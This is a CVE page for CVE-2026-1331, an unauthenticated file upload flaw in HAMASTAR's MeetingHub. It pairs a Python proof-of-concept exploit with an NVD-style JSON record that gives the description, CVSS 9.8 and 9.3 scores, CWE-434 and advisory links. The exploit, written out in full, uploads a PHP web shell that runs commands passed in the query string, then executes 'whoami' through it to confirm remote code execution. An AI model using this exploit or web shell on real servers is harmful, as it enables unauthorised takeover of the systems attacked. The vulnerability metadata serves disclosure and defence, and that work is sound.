CVE-2026-1331

import requests import sys # CVE-2026-1331 PoC - MeetingHub Arbitrary File Upload # Target: MeetingHub by HAMASTAR Technology # Vulnerability: Unauthenticated arbitrary file upload leading to RCE target = sys.argv[1] if len(sys.argv) > 1 else "http://target.com" upload_url = f"{target}/upload" # WebShell payload webshell = "<?php if(isset($_GET['cmd'])){ system($_GET['cmd']); } ?>" files = { 'file': ('shell.php', webshell, 'application/x-php') } try: print(f"[*] Uploading WebShell to {upload_url}...") response = requests.post(upload_url, files=files, timeout=10) if response.status_code == 200: print("[+] File uploaded successfully!") # Try to find the uploaded file path shell_path = f"{target}/uploads/shell.php" verify = requests.get(f"{shell_path}?cmd=whoami") if verify.status_code == 200: print(f"[+] WebShell accessible at: {shell_path}") print(f"[+] RCE confirmed! Command output: {verify.text}") else: print("[-] WebShell upload confirmed but path verification failed") else: print(f"[-] Upload failed with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}")

{"cve": {"id": "CVE-2026-1331", "sourceIdentifier": "[email protected]", "published": "2026-01-22T09:15:52.197", "lastModified": "2026-02-17T19:32:31.533", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "MeetingHub developed by HAMASTAR Technology has an Arbitrary File Upload vulnerability, allowing unauthenticated remote attackers to upload and execute web shell backdoors, thereby enabling arbitrary code execution on the server."}, {"lang": "es", "value": "MeetingHub desarrollado por HAMASTAR Technology tiene una vulnerabilidad de carga de archivos arbitrarios, permitiendo a atacantes remotos no autenticados cargar y ejecutar puertas traseras de tipo web shell, habilitando así la ejecución de código arbitrario en el servidor."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.3, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-434"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:hamastar:meetinghub_paperless_meetings:*:*:*:*:*:*:*:*", "versionEndExcluding": "2025-12-10", "matchCriteriaId": "251B1D2A-2FF9-44AE-B652-D3830D85689C"}]}]}], "references": [{"url": "https://www.twcert.org.tw/en/cp-139-10651-ff09c-2.html", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.twcert.org.tw/tw/cp-132-10650-a5ee9-1.html", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}